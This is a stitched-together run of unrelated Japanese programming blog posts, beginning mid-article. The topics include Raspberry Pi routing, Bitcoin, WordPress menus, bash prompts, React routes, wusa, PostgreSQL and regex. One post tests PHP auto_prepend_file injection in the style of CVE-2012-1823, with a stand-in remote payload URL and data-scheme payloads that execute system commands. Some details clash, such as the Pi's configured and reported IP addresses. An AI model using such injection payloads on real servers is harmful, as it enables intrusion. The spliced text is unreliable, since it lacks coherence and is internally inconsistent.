default via 192.168.0.10 dev enp3s0f2 proto static metric 20100 
169.254.0.0/16 dev enp3s0f2 scope link metric 1000 
192.168.0.0/24 dev enp3s0f2 proto kernel scope link src 192.168.0.10 metric 100 
192.168.8.0/24 dev wlp2s0 proto kernel scope link src 192.168.8.101 metric 600
```

## Raspberry Pi 側の設定

 /etc/dhcpcd.conf に次を加える

```text:/etc/dhcpcd.conf
interface eth0
static ip_address=192.168.0.13/24
static routers=192.168.0.10
```

/etc/rc.local に次を加える

```text:/etc/rc.local
ifup eth0
```

ルートテーブルの確認

```text
$ ip route
default via 192.168.0.10 dev eth0 src 192.168.0.11 metric 202 
192.168.0.0/24 dev eth0 proto dhcp scope link src 192.168.0.11 metric 202
```

RaspbianOS のバージョン

```text
$ uname -a
Linux violet 5.15.61-v8+ #1579 SMP PREEMPT Fri Aug 26 11:16:44 BST 2022 aarch64 GNU/Linux
```
はじめてのBitcoinプログラム

はじめてのBitcoinプログラム
===

# 誰でも最初はビットコイン初心者

あなたがビットコインについて分からないことはなんですか？
ベテランになってしまうと、初心者が何について分からないかが分からないのです。
コメント欄に何について分からないか、教えて欲しいか投稿して下さい。

# ビットコインサーバー

ビットコインは、サーバーとクライアントがあります。
MySQLのように、MySQLサーバーを起動して、クライアントはSQLを送って結果を得るのに似ています。
bitcoindでデーモンを起動します。そして、bitcoin-cliでサーバーに命令を送ると、結果が返ってきます。
レスポンスはJSON形式なので、ネットワーク越しに扱えます。

# GUIアプリケーション

Windows, macOS, X-Window 用の各GUIアプリケーションがあります。
まずはダウンロードして触ってみることをおすすめします。

# ビットコインのダウンロードとインストール

自分でビルドするのは過去の話です。
yum, apt, pkg, port, snapなど、各パッケージプログラムでサポートされていますが、ほとんどはメインストリームのパッケージでは無く、拡張扱いになっています。

一番簡単なのは、公式サイトからビルド済みのバイナリーをダウンロードする事です。

https://bitcoin.org/ja/download

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/67460/17bc2374-3220-7a4e-bd8e-c77b3e5da518.png)

FreeBSDのバイナリーがありませんね。
次回は、設定ファイルとブロックチェーンが、どこに保存されているのか解説したいと思います。
MAMPを使ったWordpressでのWEB制作方法7　初心者向け

#MAMPを使ったWordpressでのWEB制作方法7　初心者向け

[MAMPを使ったWordpressでのWEB制作方法6　初心者向け](https://qiita.com/fumiya0414/items/e036cbaa35c648bece11)

今回は固定ページの作成をします。

固定ページとは事業内容や会社概要など頻繁に更新しないページに使用します。

ここからはwordpressの管理画面も使用しますので
urlの末尾にadminと追記して管理画面も立ち上げておきます。

#固定ページの設定

まずは管理画面の固定ページから新規追加を選択します

タイトルに事業内容、内容は仮でテストと入力して下書き保存をします。

すると右側にパーマリンクの設定が表示されます。

パーマリンクはwordpressの中のurlになりますので
末尾を事業内容からserviceに変更して公開をします。

[![Image from Gyazo](https://i.gyazo.com/412c0eb62dd19b48af0d23f1262680e5.png)](https://gyazo.com/412c0eb62dd19b48af0d23f1262680e5)

同じように以下を作成して公開しましょう

会社概要
タイトルを会社概要、内容をtest、パーマリンク末尾をcompany

お問い合わせ
タイトルをお問い合わせ、内容をtest、パーマリンク末尾をcontact

固定ページ一覧に公開済みのステータスで表示されていればOKです。

#グローバルナビ（ヘッダー）のwordpress設定

現在ヘッダーはheader.php内にhtmlで記述されています

こちらをワードプレスの管理画面で管理できるよう設定します。

まずは作成したfunctions.phpのファイルを開きます。
※この段階では何も記載されていないはずです。
以下をコピペしましょう

```php:functions.php
<?php
//カスタムメニュー
register_nav_menus( //メニュー機能をオンにする
array(
'place_global' => 'グローバル', //“メニュー英語名” =>”メニュー名”,
'place_utility' => 'ユーティリティ',
'place_sidebar' => 'サイドメニュー',
'place_footer' => 'フッター',
)
); ?>
```

今回使用するのはplace_grobal部分なのでutility以下は削除しても構いません。
異なるメニューを作成する時に使用するものです。

functions.phpファイルを保存してwordpress管理画面を再読込しましょう
外観の部分にメニューというタブが増えています

[![Image from Gyazo](https://i.gyazo.com/d10d254dd38904ead80c3e0f67da085d.png)](https://gyazo.com/d10d254dd38904ead80c3e0f67da085d)

新規メニューからメニュー名にfunctions.phpに記載した
place_globalと記入し作成します。
そして左側のタブから企業概要、事業内容、お問い合わせにチェックを入れて追加し保存します。

次に位置の管理タブよりグローバルのテーマの位置に
place_globalを紐付けしておきます。

[![Image from Gyazo](https://i.gyazo.com/690c22016ee5924258e824b46260ed06.png)](https://gyazo.com/690c22016ee5924258e824b46260ed06)

次にheader.phpのファイルを以下のように書き換えます。

```header.php
<!--書き換え前-->
      <div id="menu">
        <ul>
          <li class="home"><a href="<?php home_url(); ?>">ホーム</a></li>
          <li><a href="<?php home_url(); ?>service">事業内容</a></li>
          <li><a href="<?php home_url(); ?>company">会社概要</a></li>
          <li><a href="<?php home_url(); ?>archive">お知らせ</a></li>
          <li><a href="<?php home_url(); ?>archive">ブログ</a></li>                
          <li><a href="<?php home_url(); ?>contact">お問い合わせ</a></li>
        </ul>
      </div>
<!--書き換え後-->
      <div id="menu">
        <ul>
        <?php wp_nav_menu( array(
          'theme_location'=>'place_global', 
          'container'     =>'', 
          'menu_class'    =>'',
          'items_wrap' => '%3$s',//<ul>を出力しない
        ));?>
        </ul>
      </div>
```

ブラウザーを再読込するとヘッダーが設定した内容に置き換わっています。
メニュー並び替えなども管理画面などから行う設定になりました

[![Image from Gyazo](https://i.gyazo.com/ecc072ee7777c435d913a12efe703a92.jpg)](https://gyazo.com/ecc072ee7777c435d913a12efe703a92)

現在はリンクの先は何も設定していませんので白紙です。
次回固定ページの中身の作成を行います。

[MAMPを使ったWordpressでのWEB制作方法8　初心者向け](https://qiita.com/fumiya0414/items/58c27e2bd0a455734053)
bashのプロンプトを💩にする

プライベートのPCのプロンプトが長すぎるなとおもいまして。
自分専用機なので、ユーザー名、ホスト名の表示は必要なくて、'\$' だけだとリモート接続したときに区別しにくいので'\$'の表示を変更しようと思いました。
カレントディレクトリの表示は残したいと思います。

## 変え方

bashユーザーなので`~/.bashrc`を変更します。


表示したい色を以下を参考に選びましょう

- https://misc.flogisoft.com/bash/tip_colors_and_formatting

以下よりpromptに使用したい絵文字を選びましょう
- https://unicode.org/emoji/charts/full-emoji-list.html
- `U+{code}` の形式になっているので+を削除して`\`でエスケープすればprintf関数で表示できます。
環境によって表示できない文字があるので、設定前に確認しましょう。

```
$ printf '\U1f47d'
```

- 色とプロンプトを選んだら以下の要領で.bashrcを編集します。

```
color='33'                                                                                      
prompt='\U1F4A9' # :unko
export PS1="\[\e[0;${color}m\]\W `printf ${prompt}`\[\e[m\] "     
```

- プロンプトの表示はPS1という環境変数をセットすることで変更可能です。
- デフォルトの設定が`PS1='[\u@\h \W]\$ '` となっているので`\W`だけ残して設定を変更しました。

`.bashrc`を修正したら`$SHELL -l`を実行して設定を再読込しましょう

![unko-prompt.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/64758/ab59bb55-3d97-ba9b-048d-831ac7c7a930.png)



# 参考


- https://www.softel.co.jp/blogs/tech/archives/5427
- https://qiita.com/zaburo/items/9194cd9eb841dea897a0
- https://qiita.com/quiwamu/items/007da56c3640b7eefcc1


----

### macの場合

macの場合、直接絵文字指定できました。

```                                                                                                                                                                                   
color='33'                                                                                                                                                                         
prompt='💩' # :unko                                                                                                                                                                
export PS1="\[\e[0;${color}m\]\W `printf ${prompt}`\[\e[m\] "                                                                                                                      
```
PHPのauto_prepend_fileでdataスキームを指定してみた

PHPの設定ファイル php.ini には、auto_prepend_fileという項目があって、スクリプトが起動される前に実行するスクリプトを指定することができる。通常は php.ini などに auto_prepend_file=/path/to/start.php などと記述する。
これが悪用される場合がある。PHPの脆弱性CVE-2012-1823の悪用コードでは、auto_prepend_file=php://input として、攻撃コードをリクエストボディにいれるという手法が取られたが、理論的には外部サイトに攻撃コードをおいて、auto_prepend_file=http://evil.example.com/snipet.txt などとしてもよい。そして、理論的にはdataスキームを使っても攻撃できるはずだと思った。で、試してみた。

```sh
$ php -d allow_url_include=On -d 'auto_prepend_file=data:text/plain;base64,PD9waHAgCnN5c3RlbSgncHMgLWZIJyk7CmV4aXQ7'
```
とすると、エラーになる。

```
Warning: Unknown: failed to open stream: rfc2397: no comma in URL in Unknown on line 0

Fatal error: Unknown: Failed opening required 'data:text/plain' (include_path='.:') in Unknown on line 0
```

no commaというエラーメッセージから、;base64の箇所でエラーになっているように見える。
念の為以下のコードを実行してみた。

```PHP
<?php
  echo file_get_contents('data:text/plain;base64,PD9waHAgCnN5c3RlbSgncHMgLWZIJyk7CmV4aXQ7');
```

これだと動く（allow_url_include=Onを設定しておく必要がある）。変だなぁ。
では、ということでbase64指定を外してパーセントエンコードでやってみる。

```
$ php -d allow_url_include=On -d auto_prepend_file=data:text/plain,%3C%3Fphp+system%28%27ps+-fH%27%29%3Bexit%3B
```
これだと動く。
ということで、まとまらないのだけど、auto_prepend_file指定場合、dataスキームは使えるがbase64エンコードはサポートしていないらしいという結論になった。現時点のPHPの最新版7.4.5で試した。
React+ReduxアプリにNode.js(express)とJWTで認証・認可周りの処理を実装する③ルート保護

## はじめに

[前回](https://qiita.com/rpf-nob/items/d5c19299470ef7e8704d)の続きで、今回はReact+Reduxアプリケーションのフロント側のルート保護についての内容を書いていきます。

## プライベートルート保護のコンポーネントを作る

ローカルストレージにトークンが保存されていなかったら、ログイン画面にリダイレクトするイメージで実装しています。

```src/components/privateRoute.js
import React from "react";
import { Route, Redirect } from "react-router-dom";

export const PrivateRoute = ({ component: Component, ...rest }) => (
  <Route
    {...rest}
    render={(props) =>
      localStorage.getItem("token") ? (
        <Component {...props} />
      ) : (
        <Redirect to={{ pathname: "/", state: { from: props.location } }} />
      )
    }
  />
);

```

## プライベートルート保護のコンポーネントを適用する

[src/components/privateRoute.js]をインポートして、トップ画面のルートを[PrivateRoute]に変更します。

```src/index.js
import { PrivateRoute } from "./components/privateRoute";

ReactDOM.render(
  <Provider store={store}>
    <BrowserRouter>
      <Switch>
        <Route path="/login" component={Login} />
        <PrivateRoute path="/top" component={TopPage} />
        <Route path="/" component={Login} />
      </Switch>
    </BrowserRouter>
  </Provider>,
  document.getElementById("root")
);
```

## まとめ

これでトップ画面に直接URL(/top)をたたいても遷移しなくなりました。
以上でReact+ReduxアプリにNode.js(express)とJWTで認証・認可周りの処理の実装が完了しました。
Reactプロジェクトの始め方

新規でReactを使ったプロジェクトを始める時の最新版のメモを残しておきます。
Nodeはインストール済みである前提になります。
## プロジェクトの作成
ちょっと前までcreate-react-appをグローバルにインストールして、それを実行する。と言った流れで行っていましたが、現在は最新版にアップロードされた上で作成することが推奨されています。

https://github.com/facebook/create-react-app

npx/yarnのどちらを使っても同様にプロジェクトが自動作成されますので、以下のうち好み・普段使っている方を実行してください。

```shell:npxを使う場合
npx create-react-app my-app
```


```shell:yarnを使う場合
yarn create react-app my-app
```

### 現在のディレクトリに作成
上記のコマンドで作成すると、カレントディレクトリに新しいディレクトリが作成されて、雛形が生成されますが、以下のようにすることでカレントディレクトリ自体に雛形が生成されるようになります。

```shell:npxを使う場合
yarn create react-app .
```


```shell:npxを使う場合
npx create-react-app .
```

### TypeScriptでプロジェクトを作成
デフォルトだとJavaScriptでプロジェクトが作成されますが、昨今ではTypeScriptで始めたいという場合もあります。その場合typescriptオプションをつけるだけで、TypeScriptのReactプロジェクトが作成されます。

```shell:npxを使う場合
npx create-react-app my-app --typescript
```

```shell:yarnを使う場合
yarn create react-app my-app --typescript
```
未経験から独学でWeb系エンジニアへ転職するときに活用した学習リソースまとめ

#はじめに
今回は私が未経験から独学でWeb系企業から内定をいただくまでに活用させていただいた学習リソースについてまとめてみました。
転職活動時期は2020年3月、4月です。現在コロナの影響やエンジニア転職希望者の増加などで未経験からのエンジニア転職のハードルが以前と比べるとかなり高くなってしまっているのかなと思いますが、そういった中で現在転職中の方、またはこれからエンジニアを目指して学習中の方に少しでもこの記事が役に立てばという思いでこの記事を書いてみました。
学習期間は全く別の業界で働きながら独学のみおよそ7ヶ月間です。資金面に余裕がなかったのでなるべくQiitaの記事や、無料の公式チュートリアルを利用させていただきました。

#HTML, CSS, JavaScript
とにもかくにも未経験者が最初に取り組むべきはHTML,CSS,JavaScriptです。
エンジニアには必須のスキルであり、学習コストもあまり高くないのでプログラミング学習の取っ掛かりには最適でしょう。

学習サービス
●Progate
非常に有名な学習サービスです。説明も親切で初心者に最適だと思います。有料プランで月額980円 (税別)です。

書籍
●一冊ですべて身につくHTML&CSSとWebデザイン入門講座
HTML,CSSの基本からデザインの基本まで学べます。(JavaScriptはなし)

#Ruby, Rails

書籍
●プロを目指す人のためのRuby入門
Rubyの基礎の基礎から、実践的な領域まで幅広くカバーされています。

●現場で使える Ruby on Rails 5速習実践ガイド
こちらもRailsの実践的な使い方が丁寧に解説されています。

またRspecについてはこちらの記事が参考になります。
[使えるRSpec入門・その1「RSpecの基本的な構文や便利な機能を理解する」](https://qiita.com/jnchito/items/42193d066bd61c740612)

#Docker
Dockerに関しては以下の記事が非常に参考になりました。
●[いまさらだけどDockerに入門したので分かりやすくまとめてみた](https://qiita.com/gold-kou/items/44860fbda1a34a001fc1)
●[入門Docker](https://y-ohgi.com/introduction-docker/)

#AWS
書籍
●Amazon Web Service超入門
そもそもクラウドとは？の基本的な部分からEC2を扱う実践的な部分まで学習できます。

●[(下準備編)世界一丁寧なAWS解説。EC2を利用して、RailsアプリをAWSにあげるまで]
(https://qiita.com/naoki_mochizuki/items/f795fe3e661a3349a7ce)
こちらの記事もタイトル通り非常に丁寧にRailsアプリのEC2へのデプロイまでの流れを学ぶことができます。
またECSに関しては以下の記事が参考になりました。
●[初心者でもできる！ ECS × ECR × CircleCIでRailsアプリケーションをコンテナデプロイ](https://qiita.com/saongtx7/items/f36909587014d746db73)

#CircleCI
CircleCIに関しては公式に非常にわかりやすいチュートリアルがありますので、そちらで十分かと思います。
●[CircleCI公式チュートリアル](https://circleci.com/docs/ja/2.0/tutorials/)

#その他
書籍
●Webを支える技術
Webの仕組みの理解に役立ちます。

●キタミ式イラストIT塾 基本情報技術者
コンピュータサイエンス基礎が学べます。絵も多く説明も親切でわかりやすいのでオススメです。

#最近のオススメ学習リソース
学習サービス
●Techpit
(https://www.techpit.jp)

Youtubeチャンネル
●しまぶーのIT大学
(https://www.youtube.com/channel/UCti6dG0zSAetLGGYcgNML4Q)

#おわりに
以上が自分が大変お世話になった学習リソースです。この記事が少しでも皆さまのお役に立てれば幸いです。
grasshopper初心者のための小ネタ集

grasshopperを使いこなすための初心者向けの小ネタを紹介していきます。コンポーネント自体の解説はしません。

#コンポーネントの出し方
grasshopperで使う部品のことをコンポーネントといいます。コンポーネントには2通りの出し方があります。
1つは画面上の**タブから持ってくる**方法です。目的のコンポーネントをクリックした後キャンバスをクリックすると表示されます。
![3.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/498495/8148d044-ef26-fa20-2114-d7107049e01e.png)

もう一つはキャンバスの**何もないところをダブルクリックする**方法です。出て来たテクストボックスにコンポーネントの名前を入力すると候補が出てくるので、それを選択すれば配置できます。コンポーネントの名前を覚えて来たらこの方法がオススメです。
![4.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/498495/6f0ff844-9d37-2964-393f-fcda28213787.png)


#コンポーネントの接続
コンポーネントの出力と入力をワイヤーで結ぶことでgrasshopperは動きます。
実はワイヤーには**Default**,**Faint**,**Hidden**の3種類があります。**「コンポーネントの入力を右クリック」→「Wire Display」**で変更できます。複雑になってくると使い分けたほうが見やすくなることが多いです。
![1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/498495/ee620d94-f62e-02c9-f323-a22ee1285b8c.png)

Default→太めの黒い線で接続される。
Faint→細い黒い線で接続される。
Hidden→無線で繋がれる。入力(出力)するコンポーネントを選択するとワイヤーが表示される。
![2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/498495/7dd02f53-d06f-7d43-ed0e-4d250c2b28f9.png)

#コンポーネントの表示形式
コンポーネントは名前をテキストで表示する方法と、アイコンで表示する方法の2通りがあります。画面上の**「Display」→「Draw Icon」**から変更できます。
![5.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/498495/79b01c5d-a2b5-a0f9-d14a-d7080fd04a38.png)
また各コンポーネントごとに設定することもできます。オプションは**「ずっとアイコン」,「ずっとテキスト」,「全体に準ずる」**の3通りです。**コンポーネントの名前を右クリックして出てくるテキストボックスの右のアイコンをクリックする**と変更できます。
![6.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/498495/f148e6c7-25c7-4916-bbf9-824d1d1b7e2c.png)

#コンポーネントの名前の変更
Draw Iconを無効にするとコンポーネントの名前を表示できます。この際に表示される名前は**「コンポーネントの名前を右クリック」→「テキストボックスに入力」**で変更できます。
![7.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/498495/a0c63a64-0c34-7147-996f-3bbdc85ac9f7.png)

#入力、出力の名前の変更
コンポーネントの名前だけでなく、入力、出力も変更できます。**「変更したい入(出)力を右クリック」→「テキストボックスに入力」**で変更できます。
![8.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/498495/6db8610f-4cee-feeb-14b5-d80a1830e0c5.png)

#previewの表示/非表示
grasshopperによって作られた物をrhinocerosの画面上に表示させるかさせないかは**「コンポーネントを右クリック」→「previewをクリック」**で変更できます。previewがoffになったコンポーネントは暗い色になります
・preview有り
![9.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/498495/14357d5f-c14d-d033-8f7a-c8a9a5c4a148.png)
・preview無し
![10.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/498495/0c04fcad-7493-cfd9-0d8e-a042ed1e3f11.png)
ちなみに選択されたコンポーネントのpreviewは緑色で、選択されていないコンポーネントのpreviewは赤色で表示されます。

#previewの変更
先ほどコンポーネントのpreviewは緑色で、選択されていないコンポーネントのpreviewは赤色で表示されると説明しましたが、**Custom Preview**を使うとマテリアルを設定できます。例えば**color swatch**を使うとpreviewの色を変更できます。
![11.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/498495/b7d8d127-8b42-21fc-3436-83c203ce03e2.png)
Linux でwake on lan

Linuxで、wake-on-lanをしたい時、コマンドラインでタイプするか、MACアドレスを憶えられない時、シェルスクリプトで書いておけばよいです。

具体的に、何をやっているかと言うと、マジックパケットを待ち受けているNICに、そのMACアドレスを指定して、マジックパケットをLAN全体にブロードキャストすると、そのNICが反応し、電源を入れる、と言った按配です。

Ubuntu18.04では、事前に`sudo apt install wakeonlan`が必要です。

#シェルスクリプト具体例

```wol-comp1.sh
#!/bin/bash
wakeonlan 00:17:42:c7:56:40
```
Google Meet（ハングアウト Meet）を利用したビデオ会議の開催


Google Meet（ハングアウト Meet）を利用した
ビデオ会議の開催、参加方法について記載します。

ビデオ会議の開催方法は、複数ありますが、ここでは
Googleカレンダから開催する方法を記述します。

## 会議の開催予定を作る

１．Googleカレンダを開き、会議を開催する月日を選択
　画像では 2020/04/29 を指定してます。

２．下記項目を記入し予定を作成
　− タイトル　　　　　：会議タイトルを記入
　− 日時　　　　　　　：会議開催時刻を記入
　− ゲストを追加　　　：会議参加メンバーを追加
　− 場所　　　　　　　：会議開催場所を追加
　− ビデオ会議を追加　：ボタンを押下（必須）
　− 説明　　　　　　　：会議に関する説明を記入（任意）

3.選択されたカレンダに間違いないことを確認し
　「保存」ボタンを押下
<img width="1015" alt="スクリーンショット 2020-04-29 14.48.55.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/583583/f06904b8-efe0-e818-28b8-9673ccde3edf.png">


会議参加者へメールを送信します。
<img width="409" alt="スクリーンショット 2020-04-29 14.51.51.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/583583/30ec409f-5c2d-3036-63fe-ba8a3ee16a1f.png">


## ビデオ会議へ参加する
１．会議参加者へ送信された招待メールに記載されたURLを開く
<img width="860" alt="スクリーンショット 2020-04-29 15.12.26.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/583583/96a77cf6-bafc-d6ee-b20b-bbcced197040.png">

２．会議参加時に求められるカメラ／マイクへのアクセスを許可して参加
　（カメラ／マイクはOFFにしています）
<img width="1920" alt="スクリーンショット 2020-04-29 15.07.17（2）.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/583583/277e70b0-e09b-5610-c42a-be476a8e578e.png">

・画面共有をしたい場合は、右上の「画面を共有」を選択して
　共有したい画面を選んでください
・メッセージを送りたい場合は、左下のチャット機能から送信
・会議終了は中心真下の電話機マーク（赤）を押下


以上となります。
更新プログラムを wusaコマンド で手早く削除する（KB指定）

不具合のある（KB番号がわかる）Windowsの更新プログラムをコマンドプロンプトから削除する

## Windows Update スタンドアロン インストーラー

`/uninstall` オプションで、アンインストールが可能

```:使い方
wusa /uninstall /kb:<KB 番号>
```

```:使用例
wusa /uninstall /kb:4551762
```


コマンドを叩くとウィンドウズが表示されるので、指示にしたがってアンインストールしておわり。
※`/quiet`オプションをつけると、全自動になるがエラーが起きても何も表示されないのでオススメしない。

![alt](https://qiita-image.cloudremix.net/Uninstall-Windows-Updates.jpg)

指定した更新プログラムがない場合はエラーが表示される。

![alt](https://qiita-image.cloudremix.net/No-Updates.jpg)

## その他のオプション

```:ヘルプ
wusa </? | /h | /help>

wusa <update> [/quiet] [/norestart | /warnrestart:<秒> | /promptrestart | /forcerestart] [/log:<ファイル名>]

wusa /uninstall <update> [/quiet] [/norestart | /warnrestart:<秒> | /promptrestart | /forcerestart] [/log:<ファイル名>]

wusa /uninstall /kb:<KB 番号> [/norestart | /warnrestart:<秒> | /promptrestart | /forcerestart] [/log:<ファイル名>]

/?, /h, /help
-  ヘルプ情報を表示します。

update
-  MSU ファイルの完全パスです。

/quiet
-  Quiet モード、ユーザーの操作はありません。必要に応じて再起動します。

/uninstall
-  パッケージがアンインストールされます。

/kb
-  /uninstall と組み合わせた場合、KB 番号に関連付けられたパッケージがアンインストールされます。

/norestart
-  /quiet と組み合わせた場合、インストーラーは再起動を開始しません。

/warnrestart
-  /quiet と組み合わせた場合、再起動を開始する前にユーザーに警告が表示されます。

/promptrestart
-  /quiet と組み合わせた場合、再起動を開始する前にプロンプトが表示されます。

/forcerestart
-  /quiet と組み合わせた場合、強制的にアプリケーションを閉じ、再起動します。

/log
-  ログを有効にします。

```
PostgreSQLのデータベースクラスタ内のサブディレクトリや設定ファイルの役割（２、PG_VERSION・baseの役割）

##はじめに
Dockerを使ってPostgreSQLのデータべースクラスタのサブディレクトリ・設定ファイルの役割を理解するのが目的です

##使用コンテナ
・postgres:11-alpin

PostgreSQLのデータベースクラスタのディレクトリ構成は下記のような構造になっています。

```bash
$ tree -L 1
data
├── PG_VERSION 
├── base          #データベースごとのサブディレクトリを保有するサブディレクトリ
├── global        #pg_databaseのようなクラスタで共有するテーブルを保有するサブディレクトリ
├── pg_commit_ts  #トランザクションのコミット時刻のデータを保有するサブディレクトリ
├── pg_dynshmem   #動的共有メモリサブシステムで使われるファイルを保有するサブディレクトリ
├── pg_hba.conf   #PostgreSQL に接続するクライアントの認証に関する設定を記述するファイル
├── pg_ident.conf #Ident認証のユーザー名をPostgreSQLのロール名にマッピングするためのファイル
├── pg_logical    #論理デコードのための状態データを保有するサブディレクトリ
├── pg_multixact  #マルチトランザクション状態のデータを保有するサブディレクトリ（共有行ロックで使用される）
├── pg_notify     #LISTEN/NOTIFY状態データを保有するサブディレクトリ
├── pg_replslot   #レプリケーションスロットデータを保有するサブディレクトリ
├── pg_serial     #コミットされたシリアライザブルトランザクションに関する情報を保有するサブディレクトリ
├── pg_snapshots  #エキスポートされたスナップショットを保有するサブディレクトリ
├── pg_stat       #統計サブシステム用の永続ファイルを保有するサブディレクトリ
├── pg_stat_tmp   #統計サブシステム用の一時ファイルを保有するサブディレクトリ
├── pg_subtrans   #サブトランザクションの状態のデータを保有するサブディレクトリ
├── pg_tblspc     #テーブル空間へのシンボリックリンクを保有するサブディレクトリ
├── pg_twophase   #プリペアドトランザクション用の状態ファイルを保有するサブディレクトリ
├── pg_wal        #WAL（ログ先行書き込み）ファイルを保有するサブディレクトリ
├── pg_xact       #トランザクションのコミット状態のデータを保有するサブディレクトリ  
├── postgresql.auto.conf #ALTER SYSTEMにより設定された設定パラメータを格納するのに使われるファイル
├── postgresql.conf #PostgreSQLのパラメータを設定するファイル
├── postmaster.opts #最後にサーバを起動した時のコマンドラインオプションを記録するファイル
└── postmaster.pid  #現在のpostmasterプロセスID（PID）、クラスタのデータディレクトリパス、postmaster起動時のタイムスタンプ、ポート番号、共有メモリのセグメントIDを記録するロックファイル
```

##PG_VERSIONの役割
PG_VERSIONはPostgreSQLのメジャーバージョンを記録しています

```bash
$ cat PG_VERSION
11
```

バージョン11のPostgreSQLなので11と出力されています。

##baseの役割
baseはデータベースごとのサブディレクトリを保有するサブディレクトリ
新しく作成・追加したデータベースを追加した際に、そのデータベース対応したディレクトリが作成されます。
実際に作成してみると、どうなるか確認してみましょう。

まずbaseの中に入っているサブディレクトリを確認します

```bash
$ ls /var/lib/postgresql/data/base
1      13116  13117
```

初期の状態では3つのディレクトリが存在していますが、これがそれぞれ、テンプレートデータベースであるpostgres・template0・template1を表しています。
ここに、createdbで新しいDBを作成します。

```bash
$ createdb -O postgres test

$ ls /var/lib/postgresql/data/base
1      13116  13117  24577
```

createdb後にサブディレクトリが追加されています。
この24577という数字がデータベースOIDに当たり、testという名前のデータベースの実体に該当します。


##終わりに
今回のように、PostgresSQLへの操作がデータベースクラスタへどう変化を起こすかを見て行けたらと思います。

[１、ディレクトリ構造を確認](https://qiita.com/michi-michi/items/0aac8b6ccdb365269c90)
２、PG_VERSION、baseの役割
[３、globalの役割](https://qiita.com/michi-michi/items/c3ca6b1efe13e3a3af84)
[4、pg_commit_tsの役割](https://qiita.com/michi-michi/items/dc9ca80a12aa58be3cd1)
[5、pg_dynshmemの役割](https://qiita.com/michi-michi/items/5da6f480808dc6eda3f7)
逆ポーランド記法に変換するのは小学生でもできる

# 背景
中置記法を逆ポーランド記法に変換するのは日本人なら小学生でもできるのに、それを知らない人が多い気がするので方法を書く。

# 逆ポーランド記法
逆ポーランド記法は、数式の記述方式の一つで、機械が処理しやすい記法なので大学とかで情報系に進むとどこかで出てくる。
例えば、以下の中置記法で記述された数式は、
$$ (3 + 5) * (2 - 1) $$

逆ポーランド記法では以下のようになる。
$$ 3 5 + 2 1 - * $$

真面目に変換するには、木構造を描いて葉要素から書き出していくみたいなことをするのだが、日本人ならそんなことをする必要はない。
そもそも逆ポーランド記法という名称は、ポーランド語がそんな感じの順序で記述する言語だったからついた名称だったはず(逆なのかもしれない)。そして日本語もポーランド語と似たような語順になるので、日本人ならややこしいことをせずに日本語で考えれば良い。

# やりかた
以下の数式に対して、
$$ (3 + 5) * (2 - 1) $$
日本語の文章を考える。

```
3と5を足したものと、2から1を引いたものをかけ合わせる
```
日本語に出てきた数字と演算子を書き出す。

$$ 3 5 + 2 1 - * $$

これで逆ポーランド記法になる。

もう一つ例を見る。
$$ 3 + 4 * 5 \div (2 + 1) $$

日本語で文章を作る。

```
3と4と5を2と1を足したもので割ったものをかけて足す
```

(こんな曖昧な日本語では通じないというのは置いておいて)この文章で出てきた数字と演算子を書き出す。

$$ 3 4 5 2 1 + \div * + $$

簡単である。

テストで中置記法から逆ポーランド記法に変換せよという問題が出てきたら思い出して欲しい。
変換プログラムを書けと言われたら普通に頑張って。
正規表現について

#正規表現
grepやfindコマンド使えるようになるためには正規表現(検索したい条件の書き方)も理解していないといけない。正規表現のパターンには、文字を指定する、文字数を指定する、指定した文字の位置を指定するがある。

####文字を指定
.を単体で使うと、全ての文字って意味。しかし[]の中に入るとただの文字として認識されてしまう。

[]の中に指定したい文字をいれる→複数いれるとそのうちのどれか一つってこと。また[a-z]にするとaからzの内って意味になる。また\~とバックスラッシュがついている場合はa-zなどを略した表現をしている。

[^  ]と頭に^がつくとの指定した文字以外の文字を持つやつってことになる

####略語
\dは[0-9]
\sは改行文字を含んだ空白文字
\wは[0-9a-zA-Z_]

また\d{2}にすると\d\dという意味になる。
####繰り返し指定
指定した領域の後ろにつけて指示をする

?なら０か１回繰り返す
+なら1回以上繰り返す
*なら0回以上繰り返す
+?なら1回以上繰り返す
*?なら0回以上繰り返す
{min, max}ならば最低でもmin回数、最高でもmax回数繰り返す

####位置指定
^なら頭にはって意味
＄ならお尻にはって意味
\Aなら頭、\zならお尻

####フラグ(パターンマッチ,置換などに使用される)

パターン/g→これでこのパターン全てに対してという意味になる

パターン/i→これでこのパターンでのマッチ,置換では大文字小文字は無視するおいう意味になる

参考文献は[正規表現のフラグ](https://qiita.com/Otake_M/items/54ffca18dff45da7469b)

####キャプチャ(置換で使う？)
パターンの中で、()で括った部分が、\$数字に代入されていく、これを置換のパターン設定で使用する。一つ目のカッコは\$1、二つ目のカッコは\$2....という風に代入されていく。この\$数字を使用して置換をうまく行うことができる。

参考文献は[マッチした複数の文字列を取得($1, $2, ..)](https://www.javadrive.jp/ruby/regex/backreference/index3.html)

####後方参照
()で囲った内容を、その場で使用する時は一つ目のカッコの内容は\1、二つ目は\2....で使用する。

####(? )

(?<=パターン)→パターンの直後のこと

(?=パターン)→パターンの直前のこと

これを利用してその直前、直後の言葉を得る。
参考文献は[初心者歓迎！手と目で覚える正規表現入門・その４（最終回）「中級者テクニックをマスターしよう」](https://qiita.com/jnchito/items/b0839f4f4651c29da408)

####その他

|は()内で使い、orという意味、(abc|def)はabcかdefって意味になる

([])+とかをすると、[]の中身が1回以上繰り返されるという意味になる

\をつけると後ろの部分をエスケープする。例えば、\-は-という意味になる。

\bは単語の境界、\baaa\bだとaaaという単語だけを取り出し、waaaは取り出さない

